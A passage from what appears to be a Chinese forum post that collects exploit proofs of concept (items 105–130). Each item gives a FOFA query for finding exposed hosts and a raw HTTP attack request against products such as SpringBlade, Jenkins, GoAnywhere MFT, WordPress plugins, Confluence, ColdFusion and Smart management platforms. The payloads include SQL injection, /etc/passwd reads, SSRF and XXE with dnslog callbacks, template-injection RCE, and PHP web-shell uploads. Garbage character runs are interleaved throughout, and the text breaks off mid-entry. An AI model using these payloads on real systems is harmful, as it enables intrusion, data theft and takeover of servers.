) e8 O8 y5 ?" `7 [Host:192.168.0.1
Content-Length:41
. v+ z4 J9 O* j0 V1 BAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
; y% L0 V/ ^  g+ m: a8 NOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
) z& T' j5 J. {0 S" l) kAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
"token":""
7 g$ g: E  ~" u. m/ U}
% O! M) m% L% X
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
' m, J9 x8 x6 [! B& Fhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' E- x) Q1 B% q/ E) U3 xHost: your-ip
% y# R# m% L9 e8 d2 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
2 C3 t% Q4 L$ ]Accept-Language: zh-CN,zh;q=0.9
Connection: close
- R9 H* G( _: B
0 P: c+ f! A4 W- z, [
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
. [6 Y7 t: F- b& a* I9 B; [GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
* ^' e+ j1 `* x' a  |/ C! mHost: your-ip
% m! U8 E2 Z: c* jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
  G5 A6 i$ C/ z
" q! a8 K5 M! `* W( y0 @
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
' b4 C5 _+ F% O3 O" \$ ]FOFA："dtale/static/images/favicon.png"
5 k/ B  j: v( q4 i' q9 w# }GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
, x! P; }; I( D6 }& ~Host: your-ip
8 V5 K6 `0 a: S9 n. H; Y- GAccept: application/json, text/plain, */*
6 d# g1 u1 j1 s% ~* f) w  W. zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( J3 \- h( g3 Q; h/ C) fAccept-Encoding: gzip, deflate
, i4 e5 n' e: G* n+ ?Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 ~9 [2 O" {- v! n; mConnection: close


109. Jenkins CLI 任意文件读取
CVE-2024-23897
7 _! i/ v3 F5 m# i1 f1 bFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
6 F( a7 m" s0 i1 X3 g0 {Content-type: application/octet-stream
5 Z! m0 l& @* P; E. ^, q3 {; C: p6 iSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
; q7 v& r! Z3 x+ ]Content-Length: 163

$ T4 i# S0 r0 H5 k- z3 @b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
. X  t" U, V5 w: S+ x, o8 E7 eSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
* l- O3 h# |' s! s- MContent-Type: application/x-www-form-urlencoded
" z. Q$ A. I. @* ?Content-Length: 0
) j  ~0 |* ?% q$ F: _" I5 H1 @9 |  @% x
8 U8 j' g+ L1 J! y* }& ], Y
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
0 v% {: l  {! n* D9 }2 i5 J[COMMAND]
Lists all the available commands or a detailed description of single command.
. v" K- i) f7 w& z! \; a COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
' l. c  K$ l, G5 b# ]

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
- p3 g) ~* F7 J) a3 G( ?8 [FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
% o% b5 v% h) ], P* `Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
+ x, |7 r# `' M& oConnection: close
Accept: */*
Accept-Language: en
& l2 Z5 Q4 C1 M- q2 v* ZAccept-Encoding: gzip

6 @% M, R' o/ i) C3 |2 M; j
6 T' Y1 v) J2 U# D% \' h! w111. WordPress Plugin HTML5 Video Player SQL注入
* |2 ~% ~. {. W1 [, O/ ECVE-2024-1061
) [1 a/ \6 B5 X" T! Z+ pFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
: S3 O, \* V+ Q' S* [2 OHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ X, \" h  z3 T0 u6 KConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
2 N0 \2 n" U' j

# n9 Z4 X  t9 ^: V* [0 c112. WordPress Plugin NotificationX SQL 注入
7 u  T% e% y9 D" |CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
* x; ]3 C- J$ o- HPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
: p3 n) Q% R$ I9 f& {2 c3 q/ d( p0 zContent-Type: application/json
8 D: m! [8 g4 y& N) T% k
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
  q; [  Q& V. Y& U

: g, p& t" T- ?1 F113. WordPress Automatic 插件任意文件下载和SSRF
1 @/ F' Q' m  r3 T* fCVE-2024-27954
5 l2 o5 C5 ~9 ^) _1 `6 e! F" U9 G# `FOFA："/wp-content/plugins/wp-automatic"
% @3 I0 Z- {# l2 t6 U' xGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: M4 U. ]% K- H4 @4 g, s: O! eConnection: close
Accept: */*
7 \' O) u+ Q1 p8 d# K! b) O7 `Accept-Language: en
Accept-Encoding: gzip

- W' e4 W, d7 d5 b9 {( \. d+ Z
6 {& w6 q4 O4 t) Q114. WordPress MasterStudy LMS插件 SQL注入
" v# A$ I+ j( o. UFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
4 [! A+ C' M1 N9 J7 j$ DGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
; R, O- B9 V! T. WUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
: |/ u4 L1 S+ YAccept-Charset: utf-8
4 i; x+ ~; c7 m- ]# yAccept-Encoding: gzip, deflate
Connection: close
9 `( f$ @# N& }* M4 c
* p5 s* H% {4 n3 g7 l1 _* r" Y- L
  U' G5 k: C' k& C+ V1 R) y- t% H115. WordPress Bricks Builder <= 1.9.6 RCE
9 b+ H0 ^* [5 w3 ZCVE-2024-25600
2 H$ }( T2 Y* W- D/ Y# ~# oFOFA: body="/wp-content/themes/bricks/"
9 L) C2 i2 i, K* ~7 k9 v0 T  K第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
- g5 f& s4 D( u  y, a2 wConnection: close
  {, v* C* J$ O/ g3 P% H0 kAccept-Encoding: gzip

9 f' _5 ]3 V  `4 X
第二步替换nonce值，执行命令
, q& O+ m9 ~% }3 ePOST /wp-json/bricks/v1/render_element HTTP/1.1
! L$ r3 E2 ]. Q- ^Host: x.x.x.x
5 l. g6 g6 d& B$ W* `5 r2 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

{
6 B( `4 V7 m3 l4 f0 z"postId": "1",
  t. {/ t, T6 P$ e5 x  "nonce": "第一步获得的值",
( W* }* t" J( a0 `. f7 j  "element": {
    "name": "container",
    "settings": {
) l$ j% j7 _* q; u7 d      "hasLoop": "true",
) S8 c/ U+ e9 f- M: |5 A$ a+ @      "query": {
1 v- G* a1 v, g& \. }0 o1 [; F        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
}

# X7 k7 O; n# \' e+ p. l' Y/ W7 G
8 e' ~" n; E4 W! f# c0 y116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
9 w! i; m2 N$ o# m8 n5 x; h) RPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
+ ?6 D3 v& S2 J% p. ?  n$ q. U( @8 gHost:
- X! r) b" d7 l7 t$ `: `% t4 wContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
1 A' b: P1 U+ _: n) mContent-Disposition: form-data; name="action"
7 s5 q; o$ j  V% m8 Z+ ?configuration_saveconfiguration
1 z% T& }. V4 R* }4 {' J# M; H----------767099171
2 P! v% T3 S# C: {Content-Disposition: form-data; name="form_request"
" J* @$ f9 a5 Jjssupportticket
----------767099171
! l% l2 A, X5 d- U- E0 H3 wContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
7 P4 w1 j" ^2 @. I( `# _Content-Type: image/png
----------767099171--
! }8 }; ]6 A" ]3 v. w

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
' v9 v, _2 h$ Z5 g4 L+ UFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! a1 p% T- v- Q% O( Z( LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) x" k* ], F& w$ K; ~6 @Accept-Encoding: gzip, deflate, br
+ n' u, i# j- W1 i* w: M' k  ^Connection: close
6 p0 |0 s. D4 Y; R& p" o  cUpgrade-Insecure-Requests: 1
1 O% |1 J' J6 D5 }. y$ x

% ~6 |! J! C4 R! v$ T118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
+ L( U; W( E, J9 H' VCVE-2024-0939
FOFA：title="Smart管理平台"
4 D5 ?* M# ^) APOST /Tool/uploadfile.php? HTTP/1.1
' I1 l  p1 h( s1 n8 iHost: 192.168.40.130:8443
  ^+ d: T2 @+ R0 u9 U' s4 ACookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
% g4 J! R1 v1 o5 z2 y9 i$ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
( @" q! D6 k: X2 o/ Y+ R# X2 vUpgrade-Insecure-Requests: 1
" U6 \/ f$ ]+ E1 p! m& gSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
9 N/ l/ \9 n- c2 t, d" p4 USec-Fetch-User: ?1
Te: trailers
Connection: close
% V1 P/ r2 b4 E: ]: g
-----------------------------13979701222747646634037182887
5 H- f- D. S/ Q; I1 zContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

8 A5 A6 V) A& c/ @# k<?php
2 r+ v. `' D  ]5 |( I% q" Ksystem($_POST["passwd"]);
?>
$ t2 U6 ^) I+ k6 S: N-----------------------------13979701222747646634037182887
( G% E) [5 Q* e! Q3 |5 n7 ]Content-Disposition: form-data; name="txt_path"

/home/src.php
7 z4 c: f% p5 v3 i9 C" D-----------------------------13979701222747646634037182887--
- H- m6 x8 O& n' ~
& i7 O# Y, e0 W: W
访问/home/src.php
6 `% E( P- A3 k2 k% l* Y
119. 北京百绰智能S20后台sysmanageajax.php sql注入
+ x3 B; w$ Y: ]1 UCVE-2024-1254
4 J! r( e+ ]) Z5 M& W. m- lFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
0 d. }4 n1 f9 x7 [) u' H( WHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 K; a( ^6 u3 v/ ]" x! WAccept-Encoding: gzip, deflate
0 m2 T" K/ n( fContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
) G( x& l2 n/ ~Origin: https://58.18.133.60:8443
3 m! v& A$ H  l9 X  t, B4 ?Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
6 j( i1 m: X) |. dSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

0 r1 \9 Y8 a3 o! I( gsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
! d2 n5 ?* \' |. y

120. 北京百绰智能S40管理平台导入web.php任意文件上传
- [/ q, r# Q! }6 s7 I  _CVE-2024-1253
6 _+ k' ~2 w. J3 ~6 b" vFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
( c, o4 b% V9 Y9 P6 gHost: ip:port
% N, p$ |% D3 }7 D9 S( h5 QCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
& ?1 b! [  g! O+ qUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
# f1 c0 ?$ n0 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 J1 j5 I4 m0 K6 F9 Y! Q) l9 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' n# ^0 R" A2 \" M& ]1 xContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
$ G1 {7 r& p, F1 }Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
8 V6 t3 w0 @/ Z4 S7 h: NUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
! I; }/ X, J: LSec-Fetch-Mode: navigate
( w& J- I1 K' MSec-Fetch-Site: same-origin
; {; d) T4 B9 z% ?: ESec-Fetch-User: ?1
& z$ V( b  m# @/ x# F8 k7 bTe: trailers
0 h1 Z1 g8 V* yConnection: close
6 V' f! D7 u1 C- J# P( s5 L
: n$ p* S; v% m7 F1 Q7 F, K  N" _-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
3 ?4 s$ }4 {: n/ d( C' y
1
; h2 x% {4 X# {-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
2 u5 H4 \: w9 v1 x: CContent-Disposition: form-data; name="mode"
5 ?5 y' W- u* i
5 }5 [7 V1 ?6 O8 A  Y' r: G6 ]import
-----------------------------42328904123665875270630079328

6 M: Z# C' n- f# u* r2 n3 F
' u/ }! S! i+ @文件路径/upload/2.php
$ y, e& l! g. ~- ?
" k+ a' k8 R$ S: z4 z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
6 l) v# D  B* a; \POST /useratte/userattestation.php HTTP/1.1
! d; y1 f$ d& o, m: RHost: 192.168.40.130:8443
4 }" e4 j3 ~8 WCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# ^/ D  `8 G" K3 E0 W) wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
% R  {) {$ @# ^. q& Z, MContent-Length: 592
Origin: https://192.168.40.130:8443
  y% X- v) ?) h+ H! ^Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, Q/ x+ ^' y5 ?& `3 hSec-Fetch-Site: same-origin
/ b& o( x7 L% l2 p) E% @Sec-Fetch-User: ?1
( k9 Q7 [. ]* U1 j6 [7 l/ s. mTe: trailers
Connection: close
5 R( C* ^/ {) U) d" T8 o; A* M
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
' p6 B. z9 ?0 }1 \# sContent-Type: application/octet-stream
. {/ @1 }3 X4 E: H
* _* Z$ ]. c6 w/ S* N' M8 l1 Y# S<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
. `, q# s3 |- y/ ]
8 H2 Q, k+ t" V9 P  c1_radhttp
7 y" u$ C* U# M. w* M. P-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

# I/ X! C4 r9 U6 ?8 j( O; |, rset
-----------------------------42328904123665875270630079328
0 H/ y9 o8 Q) M0 {- ~
# A3 Z6 ?  S% ^* ^5 ^; Z
boot/web/upload/weblogo/1.php

7 U) [" B" ?  ~5 z122. 北京百绰智能s200管理平台/importexport.php sql注入
& `0 c5 U1 H- {7 v# B' VCVE-2024-27718FOFA：title="Smart管理平台"
5 ]" }4 W5 |6 K5 U其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& M2 z$ b0 u" i3 s9 o  FAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
" k7 ^: d4 k! ~" E5 A8 @Sec-Fetch-Dest: document
, b& H( [* h% C- w; p7 USec-Fetch-Mode: navigate
Sec-Fetch-Site: none
2 G4 G8 \, P, H3 l  m* Y2 w" e' jSec-Fetch-User: ?1
Te: trailers
Connection: close
2 o. |7 X0 S4 d- r/ R
# P$ h' K, E/ K  s3 P0 l
6 j/ z& D  _* m1 P9 O% Q% o5 G( J2 m% W0 j& T123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
% E2 N% Z9 h9 w6 a' dPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
9 g; c# S5 P$ c/ H( B' f  m; DAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
7 u( ~4 [. L2 s. T0 |+ d" u7 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
  U$ B. a  X* r: Q+ f# vConnection: close
Content-Type: application/x-www-form-urlencoded
* t) N3 S3 B  q" B( i
* }1 P+ E# Y% M7 n; C' alabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
2 C) i8 T1 k8 b6 W7 v
) X' `4 s) A% U# J: ~
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
; G, [. N2 m! hUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 j' x: k% `! z4 n: RContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
. Y4 c+ ]) }" P) J8 x6 CAccept-Encoding: gzip, deflate, br
" H) q* H$ A2 x1 z/ oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, i5 H) Z2 d8 z$ LConnection: close
Content-Type: application/x-www-form-urlencoded

1 b. o2 B" s" {# z. dfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

5 F$ m, N) |, ~) Z5 h2 }- Q
7 o% d% D3 ^9 o  A$ o$ r% Hhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
) R  E" a+ ]) F( F, w; ^FOFA：icon_hash="-82958153"
! _. n/ C9 [0 P. ^- d, Phttps://github.com/watchtowrlabs ... bypass-add-user-poc

/ p2 {% W9 {9 M! A- {, \/ {, O
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

0 T7 K& J6 M2 y
' j# G; u" O9 n, u$ J4 m; b创建好用户后直接登录后台，可以执行系统命令。
" V  n! Y& t# N" L8 B4 l
6 ]3 E" y( n' `0 G3 t8 e126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
! j! m3 n* T/ ~7 z& F$ N$ CGET /static/../../../../../etc/passwd HTTP/1.1
. T( n# v9 z, x- f( H, i. OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
; B; A+ J! [! D& `1 XAccept-Language: en
5 ^8 \/ I4 B/ h8 {0 ?; Y1 k' p0 M5 gAccept-Encoding: gzip
7 \* t7 f; Y3 x' O/ ~5 r6 O

127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
- ^7 z# i" a' x: V: J; W& u4 H! qPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
0 t: |( o7 p% ?9 AHost: 192.168.40.130:8888
: n) H) U0 x1 [  RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 A7 a% x: ^4 }# \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
8 k7 _1 J1 y5 L& H3 {( f/ e5 ]Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
% K" J( m1 i) B' i7 i7 H: j. GPurpose: prefetch
/ j# w5 _. S0 r! {5 ]. p. [$ dSec-Purpose: prefetch;prerender
' {  l8 E6 K1 `( [! u
------WebKitFormBoundaryJGgV5l5ta05yAIe0
( j' O. [- @1 r" x% f) J6 }" b  h: @: oContent-Disposition: form-data;name="SystemName"
7 g# S, N2 j8 w
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
1 P5 V! j' x+ s: M/ [8 D! H' LContent-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
) {$ `9 P& R8 k7 a<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
/ ^! `, O9 z& P# t1 A8 v( B]
* r5 h' P9 I" @: [>
; Y4 Q1 A6 h8 |8 u8 I" k$ F<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
, w) u5 u$ S$ x1 P. n6 h


" g* e; g* T# g9 Z' g2 W( N! h$ i* ]128. Adobe ColdFusion 反序列化
' l, _! u$ b( y& qCVE-2023-38203
6 y8 ?8 f0 J1 F8 a) I4 R1 IAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
: W4 X7 `, n! x% F4 MFOFA：app="Adobe-ColdFusion"
. ?% Q$ c/ F' h$ Y, xPAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
% c' Y# k# }0 O4 X( v第一步，获取uuid
* h: L, q7 p  a& B& X* ?GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 O! I/ Y/ j3 d/ e8 K5 X* A4 H  `Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
! _2 b/ Y8 `$ j+ q. A

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
8 k" W% b6 C, ]. n* y! d# OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 C. [+ c9 s/ z  d2 p5 r" ^Accept: */*
Accept-Encoding: gzip, deflate
3 j8 B* j: ]& e/ c* t$ g5 ZConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
# ^/ ^# b3 Q! `" z$ u' G) |6 t2 s

130. Laykefu客服系统任意文件上传
' S6 Y7 |9 ~" F  d+ Y" y0 QFOFA：icon_hash="-334624619"
8 D1 D) v/ M2 |, N' f6 kPOST /admin/users/upavatar.html HTTP/1.1
